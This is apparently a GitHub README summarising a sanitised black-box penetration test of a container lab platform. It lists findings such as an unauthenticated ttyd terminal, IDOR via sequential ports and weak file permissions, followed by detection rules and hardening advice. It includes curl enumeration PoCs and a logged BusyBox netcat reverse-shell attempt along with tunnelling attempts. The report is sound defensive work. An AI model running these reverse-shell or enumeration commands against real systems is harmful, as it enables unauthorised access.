poenix888/blackbox-pentest-report
GitHub: poenix888/blackbox-pentest-report
一份基于PTES/OWASP/NIST方法论的黑盒渗透测试脱敏报告,展示了从漏洞发现到蓝队防御情报转换的完整流程。
Stars: 0 | Forks: 0
# 🛡️ 高级安全评估与渗透测试报告(脱敏模型)




## 📌 项目概述
本仓库包含一份渗透测试技术报告的**脱敏模型**——测试模式为**Blackbox Assessment**——针对一个部署在 **AWS EC2(us-east-2 区域)**的实例进行,该实例通过**Nginx reverse proxy**暴露,并使用 **ZeroSSL** 提供有效的 TLS 终止。
这个作品集项目的核心目标不仅是展示识别和利用漏洞的能力,更重要的是展现将**攻击方(Red Team)的产出转化为防御团队(Blue Team/SOC)可操作的预防性情报**的成熟度。
## ⚖️ 治理、法律成熟度与交战规则
凭借**10年信息技术自学背景**以及**SYCP — Solyd Certified Professional Pentester**实践认证,本次测试的执行严格遵守了支撑专业工作说明书的核心支柱:
| 支柱 | 在测试中的应用 |
| :--- | :--- |
| **NDA (Non-Disclosure Agreement)** | 对目标环境、凭据以及测试期间收集的原始证据绝对保密。 |
| **Hold Harmless Clause** | 在因授权的测试活动导致服务不可用的情况下,正式界定顾问的民事/技术责任界限。 |
| **严格范围与风险接受条款** | 明确定义测试边界,明确排除破坏性技术(DoS/DDoS),并完全遵守 **LGPD(13.709/2018法)** 和 **互联网民法(12.965/2014法)**。 |
## 🛠️ 方法论与时间线
本次测试以 **PTES (Penetration Testing Execution Standard)** 为核心基础,并辅以以下标准:
- **OWASP Testing Guide v4** — 用于 Web 应用测试;
- **NIST SP 800-115** — 用于安全评估流程参考;
- **MITRE ATT&CK Framework** — 用于映射 TTPs,重点关注 **T1046 (Network Service Scanning)**。
### 测试实际流程
```
[ Reconhecimento Ativo ]
│ Nmap (scripts NSE) + Enumeração de endpoints via ffuf/curl
▼
[ Mapeamento de Aplicação ]
│ Identificação do fluxo de provisionamento (POST /create_lab)
│ Mapeamento do wrapper/iframe Docker (/lab/view)
▼
[ Exploração ]
│ Validação de vetores (SSTI, IDOR, WebSocket sem auth)
▼
[ Pós-Exploração ]
│ Análise de filesystem interno, permissões, logs e tokens
▼
[ Tentativas de Persistência/Tunelamento ]
│ Validação de controles de egress do sandbox
▼
[ Documentação & Report Writing ]
```
## 🎯 技术发现矩阵与摘要
| ID | 发现的漏洞 | 严重程度 (CVSS v3.1) | CWE | 状态 |
| :--- | :--- | :--- | :--- | :--- |
| **SEC-01** | WebSocket 无认证的 `ttyd` Web 终端 | 🔴 严重 — 9.8 | CWE-306 | ✅ 已确认 |
| **SEC-02** | `/lab/view` 缺少会话 Cookies / 基于 IP 的访问控制 | 🟠 中危 — 6.5 | CWE-598 | ✅ 已确认 |
| **SEC-03** | 通过可预测的 Container 标识符进行 IDOR(递增端口 9000–9003) | 🟠 中危 — 5.3 | CWE-639 | ✅ 已确认 |
| **SEC-04** | `/lab/temp/sess_0x9a.dat` 的会话文件具有不安全的 `777` 权限 | 🟠 中危 — 5.0 | CWE-732 | ✅ 已确认 |
| **SEC-05** | 在 `/lab/crypto/token.b64` 中不安全地存储 Base64 Token — 泄露了 `Sector-Omega` 部门 | 🟡 低危 — 4.3 | CWE-312 | ✅ 已确认 |
| **SEC-06** | 信息泄露 — 严重错误 `ERR-8172` 暴露在 `server.log` 的第 342 行 | 🟡 低危 — 3.7 | CWE-532 | ✅ 已确认 |
| **SEC-07** | 在 `ttyd` 压缩后的 JavaScript 中暴露了 `TRZSZ` 传输协议 | 🔵 信息 — 3.1 | CWE-434 | ✅ 已识别 |
| **SEC-08** | 通过电子邮箱字段和 HTTP headers 尝试 Server-Side Template Injection (SSTI) | 🔵 信息 | CWE-94 | 🛡️ 已缓解 |
## 🔬 攻击逆向工程:漏洞细节与概念性 PoC
### SEC-01 — WebSocket 无认证的 `ttyd` 终端
端点 `/lab//ws` 通过 WebSocket 暴露了一个完整的 Linux 终端,且没有任何身份验证机制——没有 token、没有凭据、也没有会话验证。任何知道该 URL 的客户端都能完成握手,并且端口是按顺序分配的,使得枚举变得非常简单:
```
# 确认 handshake — HTTP 101 Switching Protocols
curl -k -v -H 'Upgrade: websocket' -H 'Connection: Upgrade' \
-H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
-H 'Sec-WebSocket-Version: 13' \
"https://:8000/lab//ws"
# < HTTP/1.1 101 Switching Protocols
# < Upgrade: WebSocket
```
**影响:** 以非特权用户身份在 Alpine Linux container 内执行任意命令——在实际场景中,这是一个不受限制的访问向量,也是进行横向移动的起点。
### SEC-03 — 通过递增端口进行 IDOR
```
# PoC — container 端口枚举
for port in $(seq 9000 9010); do
status=$(curl -k -s -o /dev/null -w '%{http_code}' \
"https://:8000/lab/$port/")
echo "Porta $port: HTTP $status"
done
# 端口 9000-9003 在主动测试期间返回 HTTP 200
```
### SEC-04 — 不安全的 `777` 权限
```
ls -la /lab/temp/ | grep 'rwxrwxrwx'
# -rwxrwxrwx 1 root root 0 Mar 3 20:22 sess_0x9a.dat
```
### SEC-05 — Base64 敏感 Token
```
cat /lab/crypto/token.b64 | base64 -d
# 访问受限。开放区域:Sector-Omega。
```
Base64 **不是加密**——它仅仅是一种表示编码,无需密钥或密钥即可还原。
### 额外技术挑战 — 解析 Symlink 链
```
readlink -f /lab/config/active_link
# OUTPUT: /lab/config/config_prod_final.ini
```
完整链条:`active_link → link_b → link_c → config_prod_final.ini`。
### 持久化与隧道 — 技术层面的故障分析
```
# 通过 BusyBox nc 实现 Reverse shell
busybox nc 4444 -e /bin/sh
# 结果:timeout — 没有通往外部 IP 的出口路由
# Tunelamento:ngrok, localhost.run, serveo.net, pinggy.io
# 结果:所有测试工具均 FALHA
```
**确定的根本原因:**
- 缺少网络工具(`ip`、`ifconfig`、`ping`、`netstat`);
- 阻止了通往外部 IP 的出口路由(egress filtering);
- 阻止了对 AWS IMDS(`169.254.169.254`)的访问;
- 精简版 BusyBox,container 在 **uid=1000** 下运行——正确应用了最小权限原则。
## 🔵 Blue Team / SOC 的遥测与转换
### 1. SIEM 检测
- **识别出的模式:** 在 fuzzing (`ffuf`) 期间生成了数千个 `HTTP 404` 请求,以及 headers(`User-Agent`/`Referer`)中的绕过 payload。
- **建议规则:** 当单个 IP 在短时间内(例如:>50 req/60s)产生异常数量的 `404` 时触发警报。
### 2. IDS/IPS 规则
- **行为 IoC:** 在没有事先提供 token 的情况下重复连接到 `/ws`。
- **建议签名:** 在短时间内拦截来自同一 IP 且未经授权的多个 `HTTP 101` 请求。
### 3. 加固与防御性修复
| 优先级 | 建议操作 |
| :--- | :--- |
| 🔴 高 | 在 `ttyd` 中通过 `--token` 进行原生身份验证,并由 Nginx 进行验证。 |
| 🟠 中 | 设置 Cookies 的 `HttpOnly`、`Secure`、`SameSite=Strict` 属性。 |
| 🟠 中 | 随机分配临时 container 的端口。 |
| 🟠 中 | 对敏感的会话和日志执行 `chmod 600`。 |
| 🟡 低 | 将 Base64 替换为 **HMAC-SHA256**。 |
| 🔵 信息 | 在非必要情况下禁用 `TRZSZ` (`--disable-trzsz`)。 |
## 📈 结论
本项目综合展示了在稳固的道德、法律和方法论框架下,执行完整的进攻性测试——从侦察到后渗透——的能力,并将每一项技术发现转化为具体的防御建议。
## 📄 完整报告
[📎 完整技术报告 (PDF)](Jadson_Cavalcante_Relatorio_Pentest_Tempest_2026_v2_1_Higienizado.pdf)
💡 *联系方式:[LinkedIn](https://linkedin.com/in/jadson888) | [GitHub](https://github.com/poenix888)*
标签:CTI, 威胁情报, 安全合规, 安全评估报告, 开发者工具, 网络代理